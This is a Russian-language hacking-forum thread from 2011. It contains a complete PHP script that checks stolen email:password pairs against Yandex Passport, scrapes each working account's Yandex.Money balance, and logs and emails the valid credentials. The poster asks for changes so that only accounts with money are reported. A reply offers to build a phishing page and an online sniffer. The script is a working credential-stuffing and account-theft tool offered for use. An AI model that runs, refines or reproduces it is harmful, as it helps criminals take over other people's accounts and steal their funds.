Подкорректировать скриптик...) - Вопросы и ответы, обсуждения - Ваши вопросы по Web-программированию только в данном разделе
13.06.2011, 21:31
#1
Капитан
Регистрация: 07.04.2010
Сообщений: 293
Популярность: 4393
Сказал(а) спасибо: 133
Поблагодарили 334 раз(а) в 187 сообщениях
Подкорректировать скриптик...)
вообщем я в php не шарю)
я только в хтмл да в паскале немного
ну я канеш понимаю что откуда берется.. но..
вообще есть скрипт...
вот он
Код:
<?
header('Content-type: text/html; charset=windows-1251');
$cookie = dirname(__FILE__).'/cookie';
$log_file = dirname(__FILE__).'/ya_money_logs.txt';
$log_mail = '[Ссылки могут видеть только зарегистрированные пользователи. ]';
$log_temp = "{login}:{pass} - {money}\r\n";
if ( !$_POST or empty($_POST['accs']) or empty($_POST['razd']) ) {
echo '
<form action="" method="POST">
<b>Введите валидные мыла вида [Ссылки могут видеть только зарегистрированные пользователи. ]:password</b><br>
<textarea name="accs" style="width: 100%; height: 50%;"></textarea><br><br>
Разделитель между мылом и пассом: <input name="razd" value=":"><br>
<input type="submit" value="Чекнуть на баланс!">
</form>
<br><br>
';
die;
}
## Проверяем и парсим
$accs = $_POST['accs'];
$razd = $_POST['razd'];
$accs = explode("\r\n",$accs);
foreach ( $accs as $acc ) {
$e = explode($razd,$acc);
if ( empty($e[0]) or empty($e[1]) ) continue;
$accounts[] = array( 'login' => $e[0], 'pass' => $e[1] );
}
if ( count($accounts) <= 0 ) die('Ошибка! Проверьте поля и разделитель!');
## Авторизуемся
for ( $i=0;$i<=$c=count($accounts)-1;$i++ ) {
empty_cookie();
$acc = $accounts[$i];
echo $i.'/'.$c.' - ';
$login = login($acc['login'],$acc['pass']);
if ( $login === true ) {
echo $acc['login'].":".$acc['pass']."";
} elseif ( $login === false ) {
echo $acc['login'].":".$acc['pass']. ' Неверный логин или пароль ';
continue;
} elseif ( $login === '-101' ) {
echo 'Капча!<br>';
continue;
}
echo '       ';
$money = check_money();
$log[] = str_replace('{money}',$money,str_replace('{pass}',$acc['pass'],str_replace('{login}',$acc['login'],$log_temp)));
echo ' Баланс: '.$money.'<br>';
}
## Формируем список
$text_log = @implode("\r\n",$log);
$f = fopen($log_file,'w+');
$w = fwrite($f,$text_log);
fclose($f);
$mail = mail($log_mail, "Yandex Money Checker. ".date('d.m.Y H:i:s'), $text_log);
################################### FUNCTIONS
function check_money () {
$url = 'https://money.yandex.ru/';
$code = get($url);
//echo $code;
preg_match('#<td nowrap style="font-size: 80%;"><strong>(.*)</strong></td>#Uis',$code,$money);
if ( empty($money[1]) ) {
$money = 'Нет счета';
} else {
$money = $money[1];
}
return $money;
}
function login ($login,$pass) {
if ( empty($login) or empty($pass) ) return false;
$url = 'http://passport.yandex.ru/passport?mode=auth&msg=blogs&retpath='.mt_rand(0,990);
$post = array(
'login' => $login,
'passwd' => $pass,
'twoweeks' => 'yes',
'timestamp' => time(),
);
$code = get($url,$post);
preg_match('#Location: (.*)\n#Uis',$code,$location);
if ( !empty($location[1]) ) {
$code = get(trim($location[1]));
preg_match('#Location: (.*)\n#Uis',$code,$location);
$location[1] = @str_replace('http://pass.yandex.ru/login?retpath=',null,$location[1]);
$location[1] = @urldecode($location[1]);
if ( empty($location[1]) ) return false;
$code = get(trim($location[1]));
}
$code = mb_convert_encoding($code,'cp1251','utf-8');
if ( preg_match('#Изменить персональные данные|Создание страницы#Ui',$code) ) {
return true;
} elseif ( preg_match('#<div class="l">Введите цифры с картинки слева:</div>#Ui',$code) ) {
return '-101';
} else {
return false;
}
}
function get ($url,$post=false,$headers=false) {
global $cookie;
$data = curl_init($url);
if ($headers) curl_setopt($data, CURLOPT_HTTPHEADER, $headers);
curl_setopt($data, CURLOPT_HEADER, 1);
curl_setopt($data, CURLOPT_RETURNTRANSFER, 1);
//curl_setopt($data, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($data, CURLOPT_COOKIEFILE, $cookie);
curl_setopt($data, CURLOPT_COOKIEJAR, $cookie);
curl_setopt($data, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($data, CURLOPT_SSL_VERIFYHOST, false);
if ($post) {
curl_setopt($data, CURLOPT_POST, 1);
curl_setopt($data, CURLOPT_POSTFIELDS, $post);
}
$code = curl_exec($data);
if ( !$code ) return false;
// $code = mb_convert_encoding($code,'cp1251','utf-8');
return $code;
}
function empty_cookie () {
global $cookie;
$f = fopen($cookie,'w+');
fwrite($f,null);
fclose($f);
return true;
}
?>
работоспособность можете проверить [
Ссылки могут видеть только зарегистрированные пользователи. ]
надо сделать так, чтобы он на мыло присылал мне не все подряд, а акки где баланс только больше 0 ;В вот такое хочу если можно и не сложно)
а то если акки неверные он отправляет пустое письмо... а если много 0 тоже искать не хочется...
пусть меня просто так не беспокоит)
и еще... почему он отсчет начинает с 0.. типа 0/10.. 1/10... хочу чтобы считал от 1
спасибо вам заранее :3
26.06.2011, 01:45
#2
Разведчик
Регистрация: 23.05.2011
Сообщений: 2
Популярность: 20
Сказал(а) спасибо: 0
Поблагодарили 5 раз(а) в 4 сообщениях
Re: Подкорректировать скриптик...)
ммм хочешь сдеалаю фейк с проверкой на валидность и на очень удобный олайн сниффер пиши в лс
Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 03:57 .